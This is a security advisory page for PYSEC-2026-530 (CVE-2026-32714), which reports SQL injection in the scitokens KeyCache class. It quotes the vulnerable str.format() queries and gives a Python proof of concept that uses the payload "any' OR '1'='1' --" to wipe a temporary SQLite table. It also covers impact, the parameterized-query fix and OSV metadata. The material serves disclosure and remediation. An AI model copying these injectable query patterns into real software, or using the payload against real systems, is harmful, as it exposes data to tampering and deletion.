PYSEC-2026-530
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23Summary
The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.
### Details
File: src/scitokens/utils/keycache.py
Vulnerable Code Snippets
1. In addkeyinfo (around line 74):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
```
**2. In `_addkeyinfo` (around lines 89 and 94):**
```python
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
keydata=json.dumps(keydata), next_update=time.time()+next_update))
```
**3. In `_delete_cache_entry` (around line 128):**
```python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
key_id))
4. In _add_negative_cache_entry (around lines 148 and 152):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
keydata=keydata, next_update=time.time()+cache_retry_interval))
```
**5. In `getkeyinfo` (around lines 193 and 198):**
```python
key_query = ("SELECT * FROM keycache WHERE "
"issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))
PoC
``` import sqlite3 import os import sys import tempfile import shutil import time import json from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization
def poc_sql_injection(): print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.
# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)
conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()
curs.execute(" SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")
# MALICIOUS INPUT
# The original code was:
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"
print(f"Simulating injection with issuer: {malicious_issuer}")
# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")
curs.execute(query)
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")
if count == 0:
print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
conn.close()
os.remove(db_path)
if name == "main": poc_sql_injection() ```
Impact
An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:
1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).
MITIGATION AND WORKAROUNDS
Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).
| Name | purl | scitokens | pkg:pypi/scitokens |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "scitokens",
"purl": "pkg:pypi/scitokens"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1",
"0.1.1",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.2.1",
"0.2.2",
"0.3.0",
"0.3.1",
"0.3.2",
"0.3.3",
"1.0.0",
"1.0.1",
"1.0.2",
"1.1.0",
"1.1.1",
"1.2.0",
"1.2.1",
"1.2.2",
"1.2.4",
"1.3.1",
"1.4.0",
"1.5.0",
"1.6.0",
"1.6.2",
"1.7.0",
"1.7.1",
"1.7.2",
"1.7.4",
"1.8.0",
"1.8.1"
]
}
],
"aliases": [
"CVE-2026-32714",
"GHSA-rh5m-2482-966c"
],
"details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python\u0027s `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n ### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n ```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n keydata=json.dumps(keydata), next_update=time.time()+next_update))\n ```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer,\n key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n keydata=keydata, next_update=time.time()+cache_retry_interval))\n ```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n \"issuer = \u0027{issuer}\u0027\")\n# ...\n curs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n ```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n \n # We will demonstrate the vulnerability by manually executing the kind of query\n # that WAS present in the code, showing how it can be exploited.\n \n # Setup temporary database\n fd, db_path = tempfile.mkstemp()\n os.close(fd)\n \n conn = sqlite3.connect(db_path)\n curs = conn.cursor()\n curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n \n # Add legitimate entries\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n conn.commit()\n \n curs.execute(\" SELECT count(*) FROM keycache\")\n print(f\"Count before injection: {curs.fetchone()[0]}\")\n \n # MALICIOUS INPUT\n # The original code was: \n # curs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n \n malicious_issuer = \"any\u0027 OR \u00271\u0027=\u00271\u0027 --\"\n malicious_kid = \"irrelevant\"\n \n print(f\"Simulating injection with issuer: {malicious_issuer}\")\n \n # This simulates what the VULNERABLE code did:\n query = \"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(malicious_issuer, malicious_kid)\n print(f\"Generated query: {query}\")\n \n curs.execute(query)\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n count = curs.fetchone()[0]\n print(f\"Count after injection: {count}\")\n \n if count == 0:\n print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n \n conn.close()\n os.remove(db_path)\n\nif __name__ == \"__main__\":\n poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1. **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2. **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3. **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API\u0027s placeholder syntax (e.g., `?` for SQLite).",
"id": "PYSEC-2026-530",
"modified": "2026-07-01T20:23:04.757243Z",
"published": "2026-06-29T11:50:44.789392Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
},
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
},
{
"type": "PACKAGE",
"url": "https://github.com/scitokens/scitokens"
},
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/scitokens"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rh5m-2482-966c"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SciTokens is vulnerable to SQL Injection in KeyCache"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.